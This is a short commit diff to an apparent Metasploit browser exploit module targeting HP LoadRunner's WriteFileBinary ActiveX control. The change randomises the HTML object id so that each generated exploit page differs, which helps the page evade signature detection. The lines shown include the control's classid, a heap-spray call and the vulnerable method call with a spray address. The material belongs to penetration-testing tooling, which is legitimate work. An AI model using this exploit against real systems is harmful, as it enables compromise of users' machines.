Randomize object id

jvazquez-r7 · jvazquez-r7 · commit f59f57e148bd · 2013-08-27T10:35:06.000-05:00
diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb
@@ -215,6 +215,7 @@ def get_payload(t, cli)
 	def load_exploit_html(my_target, cli)
 		p  = get_payload(my_target, cli)
 		js = ie_heap_spray(my_target, p)
+		object_id = rand_text_alpha(rand(10) + 8)
 
 		html = %Q|
 		<html>
@@ -224,9 +225,9 @@ def load_exploit_html(my_target, cli)
 		</script>
 		</head>
 		<body>
-		<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='poc'></object>
+		<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{object_id}'></object>
 		<script language='javascript'>
-		poc.WriteFileBinary("#{rand_text_alpha(4+ rand(4))}", 0x0c0c0c0c);
+		#{object_id}.WriteFileBinary("#{rand_text_alpha(4+ rand(4))}", 0x0c0c0c0c);
 		</script>
 		</body>
 		</html>
